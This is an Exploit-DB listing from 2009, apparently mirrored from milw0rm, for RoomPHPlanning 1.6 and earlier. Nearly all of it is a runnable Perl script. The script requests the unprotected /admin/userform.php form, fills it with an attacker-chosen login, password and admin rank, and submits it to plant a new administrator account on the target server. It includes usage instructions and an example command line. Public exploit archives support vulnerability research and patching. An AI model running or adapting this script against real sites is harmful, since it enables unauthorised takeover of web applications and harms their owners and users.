RoomPHPlanning <= 1.6 userform.php Create Admin User Exploit

2009-03-10T00:00:00
ID EDB-ID:8198
Type exploitdb
Reporter Jonathan Salwan
Modified 2009-03-10T00:00:00

Description

RoomPHPlanning <= 1.6 (userform.php) Create Admin User Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl -w

use LWP::UserAgent;
use HTML::Form;

	print "_________________________________________________________\n";
	print "[+]=&gt;RoomPHPlanning\n";
	print "[+]=&gt;v1.x\n";
	print "[+]=&gt;Vul: Remote Create user with all permissions (admin)\n";
	print "[+]=&gt;Author: Jonathan Salwan \n";
	print "[+]=&gt;Web: http://www.shell-storm.org\n";
	print "[+]=&gt;Mail: submit [AT] shell-storm.org\n";
	print "_________________________________________________________\n\n";
    
sub usage {
	print "[+]=&gt;usage: &lt;file.pl&gt; &lt;host_&_patch&gt; &lt;login&gt; &lt;password&gt;\n";
	print "[+]=&gt;Ex: flood.pl http://localhost/patch/ admin2 toto\n";exit;
}

if ($#ARGV &lt; 2) {usage();}

	$patch 	= "/admin/userform.php";
	$host 	= $ARGV[0].$patch;
	$login 	= $ARGV[1];
	$pwd 	= $ARGV[2];
	$name 	= "Administrateur";
	$rank 	= "1";

		print "[+]=&gt;Sending...\n";


    			my $u = LWP::UserAgent-&gt;new(agent =&gt; 'Mozilla/4.73 [en] (X11; I; Linux 2.2.16 i686; Nav)' );
			my $req = HTTP::Request-&gt;new( GET =&gt; "${host}" );
			my $res = $u-&gt;request($req);
			my $send = HTML::Form-&gt;parse( $res-&gt;content, $host );

    	$send-&gt;find_input('name')-&gt;value($name);
    	$send-&gt;find_input('login')-&gt;value($login);
    	$send-&gt;find_input('pwd')-&gt;value($pwd);		
	$send-&gt;find_input('rank')-&gt;value($rank);    	
	
	$u-&gt;request( $send-&gt;click );

		print "[+]=&gt;Done!\n";
		print "[+]=&gt;Now, user $ARGV[1] is admin\n";

# milw0rm.com [2009-03-10]